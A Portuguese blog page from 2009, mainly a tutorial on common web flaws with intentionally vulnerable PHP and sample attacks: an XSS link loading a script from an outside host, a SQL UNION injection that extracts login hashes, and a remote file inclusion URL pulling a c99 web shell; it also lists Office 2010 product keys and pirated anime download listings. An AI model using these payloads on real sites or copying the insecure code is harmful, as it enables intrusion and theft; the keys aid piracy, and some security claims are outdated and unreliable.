Blog Player

Vulnerabilidades em Aplicações Web.

|

Na informática nada é perfeito. Todas as aplicações têm bugs ou falhas de segurança. As aplicações web não são excepção. Nos tempos que correm, a Internet tem assumido um papel bastante importante na vida das pessoas: os adolescentes falam usando o mais que sobre-lotado MSN, “socializam” através do Hi5, MySpace e espaços semelhantes, mostram as suas criações em comunidades como o deviantART, os “adultos” vêem uns vídeos no YouTube e mandam emails para os amigos. Nesta pequena lista de actividades, a maior parte das pessoas não sabe que poderá estar a ser vítima de um ataque graças a falhas nos sites que está a visitar, falhas essas que muitas vezes se devem a pequenos descuidos do programador. O objectivo deste artigo é elucidar o leitor sobre os tipos de falhas que se descobrem com mais frequência, como funcionam e como as evitar.


De acordo com o estudo OWASP (Open Web Application Security Project) Top 10 de 2007, as vulnerabilidades que existem em mais abundância na web são:


Falhas XSS e XSRF


Este tipo de falhas consiste em injectar código (normalmente JavaScript ou VBscript) no browser do utilizador, alterando o código da página, podendo assim levar ao roubo de informações. Erros em validações de parâmetros enviados pelo método GET ou POST são o principal motor deste tipo de falha.



Exemplo de código que não faz qualquer tipo de validação aos parâmetros enviados:



Código:

<html>

<head>

<title>Falha de XSS</title>

</head>

<body>


<h1>Pesquisa</h1>

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="GET">

<input type="text" name="pesquisa" /><br /><br />

<input type="submit" name="botao" value="Pesquisar!" />

</form>

<?php


if(!empty($_GET)){

echo "Está a pesquisar por: ".$_GET['pesquisa'];

}

?>

</body>

</html>


Neste pequeno script em PHP, poderíamos “brincar” um bocadinho com o utilizador, fazendo-o clicar, por exemplo, neste link:


http://www.exemplo.com/ficheiro_vulneravel.php?pesquisa=%3Cscript%20src=http://kakakeys.com/xs.js%3E%3C/script%3E



Imagem


Neste caso, o script era inofensivo e limitou-se a abrir aquela janela a dizer “xss!”, mas poderia ter sido usado em conjunto com XSRF para roubo de cookies, por exemplo.

As falhas de XSRF são, nada mais nada menos, que um tipo de ataques XSS, onde a página é alterada para enganar o utilizador e roubar informação. A análise a um ataque XSRF, neste caso no popular Hi5, pode ser visto aqui [url="http://forums.ptsec.net/index.php?showtopic=988"](ver o quadro “Ler mais”, 2º link).[/url]


As falhas de XSS e XSRF podem ser evitadas usando, por exemplo, uma função para remover tags HTML (ver a função strip_tags() no manual do PHP: http://pt2.php.net/strip_tags) ou para trocar certos caracteres pelo seu HTML entity (ver a função htmlentities() no manual do PHP:


http://pt2.php.net/htmlentities).


Falhas de injecção e Insecure Direct Object Reference


Injecção de SQL é das vulnerabilidades mais conhecidas (senão a mais conhecida) pela Internet. Pequenos erros de validação podem se revelar catastróficos e extremamente embaraçantes. A título de exemplo, a Microsoft do Reino Unido foi vítima da exploração de uma vulnerabilidade de injecção de SQL [url="http://www.zone-h.org/content/view/14734/31/"](ver 3º link no quadro “Ler mais”)[/url]


Exemplo de código vulnerável:




Código:

<html>

<head>

<title>Falha de SQL Injection</title>

</head>

<body>

<h1>Pesquisa</h1>


<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">

<input type="text" name="pesquisa" /><br /><br />

<input type="submit" name="botao" value="Pesquisar!" />

</form>

<?php

$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');

mysql_select_db("site");


$res = mysql_query("SELECT id, uniq FROM blog WHERE tags LIKE '%".$_POST['pesquisa']."%'");

while(($r = mysql_fetch_array($res))){

echo '<a href="post.php?id='.$r['id'].'">'.$r['uniq']."</a><br />";

}

?>

</body>


</html>


Ao escrever na pesquisa “‘ UNION SELECT id, uniq FROM logins#” (sem aspas), poderia obter os IDs dos utilizadores (o nome de utilizador por exemplo), e o hash da sua palavra-passe (o campo uniq). Em casos em que exista também uma falha de “má arquivação” de dados sensíveis, como arquivar palavra-passe e não o hash resultante da passagem da palavra-passe por um algoritmo de hash, ir-se-ia obter a palavra-passe “sem qualquer espinha”, evitando o recurso a ataques de força bruta ou de dicionário a algoritmos de hash inseguros (o uso de “criptografia insegura”) como o MD5 ou o SHA-1.

Em PHP, existe uma forma bastante simples de evitar injecção de SQL: usar a função mysql_real_escape_string() (manual do PHP: http://pt2.php.net/mysql_real_escape_string) para fazer “escape” dos caracteres perigosos que vêm do utilizador.


As falhas de injecção não são, porém, apenas de SQL. As vulnerabilidades de Insecure Direct Object Reference abrem portas à injecção de código na aplicação em si. Este tipo de vulnerabilidades são vistas principalmente em aplicações PHP de programadores inexperientes.


Exemplo de uma falha de Insecure Direct Object Reference:




Código:

<html>

<head>

<title>Falha de code injection</title>

</head>

<body>

<h1>Escolha de lingua</h1>


<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="GET">

<select name="lingua">

<option>PT</option>

<option>EN</option>

</select>

<input type="submit" name="botao" value="Navegar!" />


</form>

<?php

if(!empty($_GET['lingua'])){

include $_GET['lingua'].".index.php";

}

?>

</body>

</html>



Ao escrever no URL, por exemplo, http://www.exemplo.com/lingua.php?lingua=http://alojamento.tld/shells/c99.txt, o ficheiro que seria incluído seria, na verdade, o http://alojamento.tld/shells/c99.txt. Usando uma shell C99, poderia criar, apagar ou alterar ficheiros, “matar” processos no servidor ou desligá-lo. Este tipo de falhas é normalmente denominado de Remote File Inclusion (RFI). Usando um pouco de “engenharia social”, poder-se-ia fazer um URL de redireccionamento no TinyURL para uma página com código para roubar dados do utilizador. Em conjunto com falhas no handling de sessões, poderia apoderar-me da sessão do utilizador no site, e navegar no mesmo como se fosse a “vítima”.

Para evitar este tipo de falhas, é aconselhável usar estruturas de controlo, como if…elseif…else ou o switch:



Código:

$pagina = $_GET['pag'];

if($pagina == 'contacto'){

include "contacto.php";


}elseif($pagina == 'ajuda'){

include "ajuda.php";

}else{

include "main.php";

}



Código:

switch($_GET['pag']){

case 'contacto':


include "contacto.php";

break;

case 'ajuda':

include "ajuda.php";

break;

default:

include "main.php";

break;

}



Quebras de autorização, falhas no handling de sessões, ligações não-seguras


Um erro bastante cometido pelos menos experientes nas andanças da programação web é a passagem de informação sensível por cookies em ligações não-seguras. Temos, por exemplo, o caso do HDD.com.pt. O serviço premium do HDD.com.pt baseia-se em cookies para verificar o estatuto do utilizador. Ao fazer login, são estabelecidos dois cookies: um com o ID do utilizador, e outro com o hash da password desse utilizador em MD5. Este sistema está vulnerável a quebras de autorização usando ataques MiM (men in the middle) uma vez que passa dados sensíveis por uma ligação não-segura (não usa qualquer tipo de encriptação, como TLS ou SSL) usando cookies (mesmo usando SSL ou TLS, bastaria saber o chave pública para descodificar o pacote e obter os cookies). Para prevenir este tipo de falhas, aconselha-se a nunca enviar dados sensíveis de ou para o cliente usando ligações não seguras, nunca usar cookies para identificação do utilizador nem qualquer tipo de funcionalidades para lembrar o utilizador, para lhe poupar o trabalho de fazer login cada vez que abre o browser.


Como alternativa à passagem de informação identificativa por cookies, aconselha-se o uso de sessões. No entanto, o uso de sessões sofre do mesmo mal que os cookies: podem ser roubadas. Um dos erros mais comuns no uso de sessões é não haver qualquer tipo de verificação se o browser que se está a ligar é o mesmo a cada pedido. Sabendo o cookie de sessão de um utilizador, se eu me ligar a um website usando o cookie de sessão desse utilizador, posso-me fazer passar por ele caso não haja qualquer tipo de verificação ao browser utilizado. Para diminuir a probabilidade de roubo de sessões (sim, porque não deixa de possível), aconselha-se à verificação do browser recorrendo a, por exemplo, o User-Agent, a ordem de envio dos headers, o conteúdo do header HTTP-Accept, entre outros, e caso a verificação falhe, destruir a sessão, dar-lhe uma nova, e obrigar o utilizador a fazer login novamente.


“Criptografia segura” vs “criptografia insegura”


O uso de “criptografia segura” pode fazer toda a diferença entre uma catástrofe e uma saída “ilesa” de um servidor de uma invasão. Quando todas as medidas de precaução que usámos já falharam e estamos condenados, temos uma última arma contra a quebra da privacidade dos nossos utilizadores: o uso de “criptografia segura”. Quando falo de “criptografia segura”, refiro-me a algoritmos considerados seguros para o armazenamento de dados sensíveis, como os algoritmos SHA-256 e AES por exemplo, em detrimento de “criptografia insegura”, como os algoritmos MD4, MD5, SHA-1, entre outros. Um dos grandes problemas dos algoritmos de hashing é, sem dúvida alguma, a possibilidade de clashing, ou seja, existir outra combinação de caracteres que não a original que tenha o mesmo hash.

Imaginemos uma palavra-passe “Portugal-a-Programar”. O hash MD5 desta password é e8ca8f20b74e7e64a11160b7002f943d. No entanto, poderão haver outras palavras-passe que dão este hash de 32 caracteres. Mas, usando um algoritmo de hashing que produza um hash maior (como SHA-256, que produz hashes com 64 caracteres, ou o SHA-512, que produz hashes com 128 caracteres), as possibilidades de clashing são muito mais reduzidas. Quando as possibilidades de clashing são menores, um cracker irá necessitar de fazer ataques de dicionário (usando rainbow tables) mais complexos e demorados, uma vez que irá necessitar de uma lista de hashes maior.

Outra medida que muitas pessoas defendem, é o uso de “sal” em palavras-passe, de modo a dificultar muito, se não tornar impraticáveis, os ataques de dicionário. Este “truque” do “sal” consiste em adicionar caracteres à palavra-passe antes de a passar pela função de hashing. Imaginemos a palavra-passe “amor”. Como é extremamente provável que o hash desta palavra-passe esteja presente em rainbow tables, vamos adicionar-lhe “sal”, de modo a que passe pala função de hashing a password “amortty”, que é extremamente improvável que esteja numa rainbow table. Neste caso, o “sal” que adicionámos foi o “tty”, que vai ter de ser guardado em algum sítio, sítio esse que ir? estar certamente ao alcance de um cracker durante uma invasão. No entanto, mesmo que o cracker saiba o “sal”? que adicionamos às palavras-passe, irá necessitar de criar novos dicionários com aquele “sal”, um processo demasiado moroso para alguns e que nos fazem ganhar tempo até que os dados dos utilizadores sejam expostos. Depois da invasão, mudamos o “sal” das palavras-passe, pedindo aos utilizadores para escolherem uma nova palavra-passe.


Falhas no handling de erros e fuga de informação



Os erros durante o handling de erros pode dar informações preciosas dos mais diversos tipos a um hacker. Imaginemos um sistema de login. Eu submeto um utilizador e uma password aleatórios e obtenho a mensagem “O utilizador escolhido não existe”. Tento novamente, mas submeto um utilizador que existe, obtendo a mensagem “A password está errada”. Este tipo de erros do programador podem abrir portas a ataques de dicionário ou brute force a um hacker. Para este tipo de casos, não se deve ser explicito no erro, deve-se dizer apenas que os dados fornecidos não estão correctos. Nas falhas de injecção de SQL, o handling de erros também tem um papel fundamental, dizendo exactamente onde aconteceu o erro na query, abrindo portanto ao hacker a estrutura da query e como poderá manipulá-la de forma a atingir os seus objectivos.


Falhas na restrição de acesso a URLs


Esta falha normalmente não representa grande risco, mas há excepções. Esta falha consiste basicamente no uso de URLs genéricos, como http://www.exemplo.com/apagar-post.php para funções administrativas, onde não há qualquer tipo de controlo de quem está a aceder ao URL. Neste tipo de falhas, não há grandes recomendações a fazer para além do ser extremamente cuidadoso nestes ficheiros com verificações como a forma como o script está a ser executado (directamente em vez do include), quem é que está a aceder, entre outros.


Execução de ficheiros maliciosos


Embora este tipo de vulnerabilidade afecte principalmente utilizadores e não servidores, sinto-me na obrigação de falar nele. Muitas vezes, a execução de ficheiros maliciosos está associado a falhas de XSS num site e a falhas de verificação no browser, permitindo a execução de executáveis duvidosos. Muitos dos alertas que os anti-vírus lançam durante a nossa navegação pela Internet, são sobre este tipo de vulnerabilidades. Ao detectarem que numa determinada ligação está a passar código malicioso, eles lançam o aviso e fazem “drop” dos pacotes, evitando assim o ataque.


Embora haja medidas para previnir todos estes tipos de ataques, nenhuma delas é infalível, funcionando apenas como uma blindagem: não são impenetráveis, mas dão-nos tempo para reagir. Vigilância a servidores usando software para o efeito e ter um administrador com conhecimentos é algo indispensável nos dias que correm, uma vez que podem detectar o início de um ataque e “cortar-lhe as pernas”, evitando danos maiores.

Office 2010

|



A Microsoft forneceu a versão Beta 2 do novo pacote de software, desenvolvido Office 2010. Em 2009, nós não vamos ver a versão final do Office 2010, a versão RTM final será apresentada no primeiro semestre de 2010, mas a versão RTM estará disponível para parceiros da Microsoft muito mais cedo, possivelmente em março de 2010.

MICROSOFT.OFFICE.2010.BETA.2.BUILD.14.0.4514.1009. X86-64.ENGLISH-WZT

BUILD: 14.0.4514.1009
FILE: 14.0.4514.1009_SingleImage_retail_ship_combo_en-us_dvd.iso
SIZE: 1,436,096,512 byte
SHA1: 6BA868B79132790362DF452BBA92BA523A65FCCC
MD5: 2790D513D3EAF54F597A6CEBB47917AE
CRC: CF2D61D1

Versões x86 e x64 incluidas.

Chaves para Instalação:

x86
774GJ-X3942-9GTKT-FWYJ9-KM77K
x64
4F3B6-JTT3F-VDCD6-G7J4Q-74W3R
2MHJR-V4MR2-V4W2Y-72MQ7-KC6XK

Nome: Microsoft Office 2010 14.0.4514.1009 Beta 2
Estilo: Office
Fabricante: Microsoft
Ano: 2009
Sistema Operacional: Windows XP / Vista / 7
Ano de Lançamento: 2009
Tamanho: 1.24GB
Formato: .rar
Idioma: Inglês
Download: Parte 1 – Parte 2

Apostila de Dicas e Truques para Windows 7

|

O Windows 7 foi lançado para empresas no dia 22 de julho de 2009, e será vendido livremente para usuários comuns a partir do dia 22 de outubro de 2009, menos de 3 anos depois do lançamento de seu predecessor, Windows Vista, que muita gente não curtiu.


Diferente do Windows Vista, que definiu um grande leque de novidades, o Windows 7 pretende ser algo muito mais modesto, focalizado na intenção de torná-lo totalmente compatível com aplicações e hardwares com os quais o Windows Vista já era compatível.

Este problema do Windows Vista (o da incompatibilidade) recebeu várias reclamações, e a Microsoft fez bem em criar o Windows 7, mais leve e muito mais compatível. Nas apresentações feitas pela Microsoft em 2008 do novo Windows 7, as duas principais novidades que chamaram bastante as atenções foram uma barra de tarefas diferente e, como dito, o aumento da performance geral. O fraco da criação do Windows 7 foi, com certeza, a falta de itens que já eram oriundos das outras versões do sistema, como o Calendário Windows, o Windows Movie Maker e o Windows Photo Gallery, que serão oferecidos apenas separadamente.

Enfim, quem já está testando o novo Windows 7 não pode deixar de fazer o download da nova apostila, chamada simplesmente de “Pocket Guide” (que de “Pocket” não tem nada!) com as principais dicas e truques do sistema, em abundantes 378 páginas, mesmo que sejam em inglês.

Tamanho: 13.04 Mb
Hospedagem: MegaUpload
Formato: Pdf
Idioma: Inglês



|

EPISODIOS DUBLADOS E EM ALTA QUALIDADE ! (COMPLETO)
Nome: Hunte x Hunter
Episodios: 92
Indioma: Português
Arquivo: Rmvb
Tamanho: 63 á 65
Ospedado: rapidshare




01 - Hunter X Hunter - Clique aqui para Baixar
02 - Hunter X Hunter - Clique aqui para Baixar
03 - Hunter X Hunter - Clique aqui para Baixar
04 - Hunter X Hunter - Clique aqui para Baixar
05 - Hunter X Hunter - Clique aqui para Baixar
06 - Hunter X Hunter - Clique aqui para Baixar
07 - Hunter X Hunter - Clique aqui para Baixar
08 - Hunter X Hunter - Clique aqui para Baixar
09 - Hunter X Hunter - Clique aqui para Baixar
10 - Hunter X Hunter - Clique aqui para Baixar
11 - Hunter X Hunter - Clique aqui para Baixar
12 - Hunter X Hunter - Clique aqui para Baixar
13 - Hunter X Hunter - Clique aqui para Baixar
14 - Hunter X Hunter - Clique aqui para Baixar
15 - Hunter X Hunter - Clique aqui para Baixar
16 - Hunter X Hunter - Clique aqui para Baixar
17 - Hunter X Hunter - Clique aqui para Baixar
18 - Hunter X Hunter - Clique aqui para Baixar
19 - Hunter X Hunter - Clique aqui para Baixar
20 - Hunter X Hunter - Clique aqui para Baixar
21 - Hunter X Hunter - Clique aqui para Baixar
22 - Hunter X Hunter - Clique aqui para Baixar
23 - Hunter X Hunter - Clique aqui para Baixar
24 - Hunter X Hunter - Clique aqui para Baixar
25 - Hunter X Hunter - Clique aqui para Baixar
26 - Hunter X Hunter - Clique aqui para Baixar
27 - Hunter X Hunter - Clique aqui para Baixar
28 - Hunter X Hunter - Clique aqui para Baixar
29 - Hunter X Hunter - Clique aqui para Baixar
30 - Hunter X Hunter - Clique aqui para Baixar
31 - Hunter X Hunter - Clique aqui para Baixar
32 - Hunter X Hunter - Clique aqui para Baixar
33 - Hunter X Hunter - Clique aqui para Baixar
34 - Hunter X Hunter - Clique aqui para Baixar
35 - Hunter X Hunter - Clique aqui para Baixar
36 - Hunter X Hunter - Clique aqui para Baixar
37 - Hunter X Hunter - Clique aqui para Baixar
38 - Hunter X Hunter - Clique aqui para Baixar
39 - Hunter X Hunter - Clique aqui para Baixar
40 - Hunter X Hunter - Clique aqui para Baixar
41 - Hunter X Hunter - Clique aqui para Baixar
42 - Hunter X Hunter - Clique aqui para Baixar
43 - Hunter X Hunter - Clique aqui para Baixar
44 - Hunter X Hunter - Clique aqui para Baixar
45 - Hunter X Hunter - Clique aqui para Baixar
46 - Hurter X Hunter - Clique aqui para Baixar
47 - Hunter X Hunter - Clique aqui para Baixar
48 - Hunter X Hunter - Clique aqui para Baixar
49 - Hunter X Hunter - Clique aqui para Baixar
50 - Hunter X Hunter - Clique aqui para Baixar
51 - Hunter X Hunter - Clique aqui para Baixar
52 - Hunter X Hunter - Clique aqui para Baixar
53 - Hunter X Hunter - Clique aqui para Baixar
54 - Hunter X Hunter - Clique aqui para Baixar
55 - Hunter X Hunter - Clique aqui para Baixar
56 - Hunter X Hunter - Clique aqui para Baixar
57 - Hunter X Hunter - Clique aqui para Baixar
58 - Hunter X Hunter - Clique aqui para Baixar
59 - Hunter X Hunter - Clique aqui para Baixar
60 - Hunter X Hunter - Clique aqui para Baixar
61 - Hunter X Hunter - Clique aqui para Baixar
62 - Hunter X Hunter - Clique aqui para Baixar

TEMPORADA: YORK SHIN
63 - Hunter X Hunter - Clique aqui para Baixar
64 - Hunter X Hunter - Clique aqui para Baixar
65 - Hunter X Hunter - Clique aqui para Baixar
66 - Hunter X Hunter - Clique aqui para Baixar
67 - Hunter X Hunter - Clique aqui para Baixar
68 - Hunter X Hunter - Clique aqui para Baixar
69 - Hunter X Hunter - Clique aqui para Baixar
70 - Hunter X Hunter - Clique aqui para Baixar
TEMPORADA: GREED ISLAND
71 - Hunter X Hunter - Clique aqui para Baixar
72 - Hunter X Hunter - Clique aqui para Baixar
73 - Hunter X Hunter - Clique aqui para Baixar
74 - Hunter X Hunter - Clique aqui para Baixar
75 - Hunter X Hunter - Clique aqui para Baixar
76 - Hunter X Hunter - Clique aqui para Baixar
77 - Hunter X Hunter - Clique aqui para Baixar
78 - Hunter X Hunter - Clique aqui para Baixar
TEMPORADA: GREED ISLAND FINAL
79 - Hunter X Hunter - Clique aqui para Baixar
80 - Hunter X Hunter - Clique aqui para Baixar
81 - Hunter X Hunter - Clique aqui para Baixar
82 - Hunter X Hunter - Clique aqui para Baixar
83 - Hunter X Hunter - Clique aqui para Baixar
84 - Hunter X Hunter - Clique aqui para Baixar
85 - Hunter X Hunter - Clique aqui para Baixar
86 - Hunter X Hunter - Clique aqui para Baixar
87 - Hunter X Hunter - Clique aqui para Baixar
88 - Hunter X Hunter - Clique aqui para Baixar
89 - Hunter X Hunter - Clique aqui para Baixar
90 - Hunter X Hunter - Clique aqui para Baixar
91 - Hunter X Hunter - Clique aqui para Baixar
92 - Hunter X Hunter - Clique aqui para Baixar
93 - Hunter X Hunter - Só no Mangá

Hunter X Hunter Voltará em 2010

|

Hunter x Hunter e o desespero dos fãs japoneses da obra e não é que Yoshihiro Togashi, autor do mangá, deu sinal de vida?



Saiu na ultima publicação da Weekly Jump que o volume 27 do mangá sairá em dezembro desse ano e o retorno da publicação dos capítulos inéditos em janeiro de 2010. Os fãs comemoram enlouquecidamente, mas resta saber se Togashi irá publicar de forma menos pausada a partir de agora ou se lançará somente 10 capítulos como ocorreu no seu ultimo retorno.

No Brasil as coisas ainda correm normais, ainda não estamos juntos com o Japão. Agora é só torcer que Yoshihiro Togashi resolva continuar de forma definitiva sua obra.

Lembrando que Hunter x Hunter conta as aventuras de Gon, um garoto de está atrás de seu pai que é um Hunter, uma espécie de aventureiro que é financiado por governos do mundo. Gon torna-se também um Hunter para ir atrás de seu pai e inicia sua épica saga no misterioso mundo de Hunter x Hunter.

wwwdotuporg350824

Finalmente veremos o capítulo 291...



Fontes: Henshin e o fórum Nexgear

TSE Premia hackers que testaram urnas eletronicas

|

RIO - O Tribunal Superior Eleitoral (TSE) premiou nesta sexta-feira os hackers que, segundo o TSE, melhor contribuíram nos testes do sistema das urnas eletrônicas que serão usadas nas eleições de 2010. Em um evento em Brasília, o ministro Carlos Ayres Britto entregou o prêmio de R$ 5 mil ao investigador Sérgio Freitas da Silva. Ele tentou violar o sigilo do voto através da captação de ondas eletromagnéticas emitidas pelas teclas da urna durante a digitação.


Em segundo lugar, com um prêmio de R$ 3 mil, ficou o grupo de técnicos da Controladoria Geral da União (CGU), que analisou os procedimentos relativos à preparação do pleito e apresentou diversas sugestões ao TSE. O prêmio de R$ 2 mil ao terceiro lugar ficou com a empresa Cáritas Informática, que testou tanto os procedimentos de preparação do pleito quanto a urna e os softwares de votação. Nenhum dos hackers que fizeram os testes conseguiu violar as urnas.

Para o ministro Ricardo Lewandowski, vice-presidente do TSE e que coordenou a organização dos testes realizados na semana passada, mesmo que nenhuma das equipes de investigadores tenha tido sucesso em burlar os sistemas eletrônicos, foram apresentadas várias sugestões de melhorias no sistema, que a área técnica do tribunal vai avaliar para possível implementação.

De acordo com Lewandowski, os resultados foram "extremamente valiosos" para a Justiça Eleitoral, e podem levar o TSE a reforçar, ainda mais, alguns pontos do sistema.

- Mas o sistema mostrou ser seguro, porque foi testado por pessoas do mais alto gabarito técnico de todo o Brasil - concluiu Lewandowski.

Ayres Britto concordou com Lewandowski. Para ele, a confiabilidade do sistema, que resistiu a todos os "ataques", se revela um fiador da própria legitimidade do processo eleitoral.

- A urna eletrônica é fiel ao voto do eleitor - afirmou.

Fonte: O Globo

Invasão ao pentagono custa US$ 300 milhões para os EUA

|

Um grupo de hackers invadiu os sistemas de computação do Departamento de Defesa dos Estados Unidos e copiou informações sobre a construção do caça F-35 Lightning II, o mais caro projeto já conduzido pelo Pentágono.




De acordo com o “Wall Street Journal”, os piratas copiaram informações que, em teoria, poderiam ensinar militares de outros países a se defender do avião, também conhecido como Joint Strike Fighter, cujo projeto está orçado em US$ 300 milhões (cerca de R$ 516,9 milhões, pela cotação do dólar comercial do dia 24 de novembro).

Ex-oficiais do governo americano ouvidos pelo “Wall Street Journal” afirmam que os ataques aparentemente foram feitos a partir da China, embora não seja possível afirmar com precisão a identidade dos hackers. Também não é possível estimar, por enquanto, os danos ao projeto e o provável risco de segurança criado pelo roubo de informações.
Segundo o jornal americano, os invasores conseguiram baixar um grande volume de dados sobre o avião, mas as informações mais críticas não foram atingidas. Partes mais importantes do projeto são armazenadas em computadores que não estão ligados em rede.
O F-35 Lightning II, construído por um consórcio liderado pela Lockheed Martin, é dotado de um software composto por mais de 7,5 milhões de linhas de código-fonte. O programa é três vezes mais complexo do que o utilizado em outros aviões de combate modernos.

 

©2009 ©Ha₢ker Top Se₢rets© | Tob Secrets Template by M.F.B. y A.J.L.O.